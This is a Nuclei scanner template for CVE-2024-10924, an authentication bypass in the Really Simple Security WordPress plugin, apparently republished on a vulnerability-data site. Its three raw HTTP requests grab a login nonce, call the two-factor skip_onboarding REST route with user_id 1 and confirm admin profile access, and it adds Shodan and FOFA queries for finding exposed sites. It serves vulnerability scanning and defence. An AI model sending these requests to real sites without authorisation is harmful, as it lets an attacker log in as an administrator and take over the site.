id: CVE-2024-10924
info:
name: Really Simple Security < 9.1.2 - Authentication Bypass
author: yaser_s
severity: critical
description: |
The Really Simple Security (Free, Pro, and Pro Multisite) plugins for WordPress are vulnerable to authentication bypass in versions 9.0.0 to 9.1.1.1. This is due to improper user check error handling in the two-factor REST API actions with the 'check_login_and_get_user' function. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, when the "Two-Factor Authentication" setting is enabled (disabled by default).
impact: |
Unauthenticated attackers can exploit improper error handling in the two-factor authentication REST API to bypass authentication and log in as any user including administrators when two-factor authentication is enabled.
remediation: Fixed in 9.1.2
reference:
- https://plugins.trac.wordpress.org/browser/really-simple-ssl/tags/9.1.1.1/security/wordpress/two-fa/class-rsssl-two-factor-on-board-api.php#L277
- https://plugins.trac.wordpress.org/browser/really-simple-ssl/tags/9.1.1.1/security/wordpress/two-fa/class-rsssl-two-factor-on-board-api.php#L278
- https://plugins.trac.wordpress.org/browser/really-simple-ssl/tags/9.1.1.1/security/wordpress/two-fa/class-rsssl-two-factor-on-board-api.php#L67
- https://plugins.trac.wordpress.org/changeset/3188431/really-simple-ssl
- https://wpscan.com/vulnerability/8e1f4374-2e41-4c27-80d4-db172015c6be/
- https://www.wordfence.com/threat-intel/vulnerabilities/id/7d5d05ad-1a7a-43d2-bbbf-597e975446be?source=cve
- https://nvd.nist.gov/vuln/detail/CVE-2024-10924
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-10924
cwe-id: CWE-288,CWE-306
epss-score: 0.81722
epss-percentile: 0.99602
cpe: cpe:2.3:a:really-simple-plugins:really_simple_security:*:*:*:*:-:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: really-simple-plugins
product: really_simple_security
framework: wordpress
shodan-query: html:"/wp-content/plugins/really-simple-ssl"
fofa-query: body="/wp-content/plugins/really-simple-ssl"
tags: cve,cve2024,wp,wp-plugin,wordpress,auth-bypass,really-simple-ssl,vkev,vuln
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /wp-login.php HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: nonce
part: body_1
group: 1
regex:
- '"nonce":"([a-z0-9]+)"\}'
internal: true
- raw:
- |
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"user_id": 1,
"login_nonce": "{{nonce}}",
"redirect_to": "/wp-admin/"
}
matchers:
- type: word
part: body
words:
- '"redirect_to":"\/wp-admin\/"'
internal: true
- raw:
- |
GET /wp-admin/profile.php HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Personal Options'
- type: word
part: content_type
words:
- 'text/html'
# digest: 4b0a004830460221009fffd6c28c62e59ccf9fbfd25be7543ba586b8faf9021ee7dd58707f4c4146ca022100a85e9665e30f2efc666b0834c2625154e7b351376f0a2933e81bc322a4c00910:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation